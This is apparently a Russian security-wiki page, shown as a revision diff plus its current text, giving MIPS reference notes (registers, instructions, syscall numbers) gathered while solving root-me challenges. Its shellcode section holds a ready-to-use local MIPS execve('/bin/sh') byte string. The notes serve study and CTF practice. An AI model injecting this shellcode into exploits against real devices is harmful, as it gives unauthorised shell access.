Mips — различия между версиями
Материал из InformationSecurity WIKI
Drakylar (обсуждение | вклад) м (→Инструкции) |
Drakylar (обсуждение | вклад) м |
||
| Строка 148: | Строка 148: | ||
==Особые техники обхода защиты== | ==Особые техники обхода защиты== | ||
| + | |||
| + | |||
| + | ==Шеллкоды== | ||
| + | |||
| + | ===Локальные=== | ||
| + | http://shell-storm.org/shellcode/files/shellcode-782.php | ||
| + | |||
| + | <syntaxhighlight lang="python" line="1"> | ||
| + | shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | |||
| + | ===Удаленные=== | ||
Версия 14:32, 2 февраля 2020
Часть статьи скопирована с вики с комментариями.
Содержание
Описание
Регистры с описанием
| Название | Номер | Применение |
|---|---|---|
| $zero | $0 | всегда хранит 0 |
| $at | $1 | временный регистр для языка ассемблера |
| $v0—$v1 | $2—$3 | значения функций и выражений ($v0 отвечает за вызов syscall) |
| $a0—$a3 | $4—$7 | аргументы функций |
| $t0—$t7 | $8—$15 | временные |
| $s0—$s7 | $16—$23 | сохраненные временные значения |
| $t8—$t9 | $24—$25 | временные |
| $k0—$k1 | $26—$27 | зарезервирована для ядра операционной системы |
| $gp | $28 | глобальный указатель |
| $sp | $29 | указатель стека |
| $fp | $30 | указатель фрейма |
| $ra | $31 | адрес возврата |
Инструкции
Полный список на вики или в ссылках. Сюда вписываю то, что потребовалось при решении root-me.
| Список инструкций | |||
|---|---|---|---|
| Название | Расшифровка | Формула | |
| la x1,x2 | Load address | x1 = x2 | |
| jal(r) x1 | Jump After Load Address | goto x1 | |
| nop | No OPeration | ||
| addiu x1,x2,x3 | Add Int Unsigned (беззнаковое сложение целых чисел) Def x3=0 | x1 = x2 + x3 | |
| move x1,x2 | Movement | x1 = x2 | |
| syscall | System call (системный вызов, см пункт системных вызовов) | goto syscall($v0) | |
| subu x1,x2,x3 | sub unsigned (беззнаковое вычитание) | x1 = x2 - x3 | |
| sw x1,x2(x3) | Store Word | memory[x3 + x2] = x1 | |
| lw x1,x2(x3) | Load Word | x1 = memory[x3 + x2] | |
Системные вызовы
_UAPI_ASM_UNISTD_H
_MIPS_SIM_ABI32
Смещение будет 4000 + номер системного вызова.
Весь список системных вызовов: https://android.googlesource.com/kernel/mediatek/+/refs/heads/android-mediatek-sprout-3.4-kitkat-mr2/arch/mips/include/asm/unistd.h
Записал только популярные:
| Список системных вызовов | ||
|---|---|---|
| Номер | Название в исходниках | Описание |
| 0 | __NR_syscall | Пока не понял, скорее всего инициализация |
| 1 | __NR_exit | Выход |
| 2 | __NR_fork | Создание форка программы |
| 3 | __NR_read | Чтение строки |
| 4 | __NR_write | Запись строки |
_MIPS_SIM_ABI64
_MIPS_SIM_NABI32
Особые техники обхода защиты
Шеллкоды
Локальные
http://shell-storm.org/shellcode/files/shellcode-782.php
shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00"
Удаленные
Ссылки
Система команд процессора MIPS R3000 игровой приставки SONY PLAYSTATION
Обьяснение на английском откуда берется 4001 системный вызов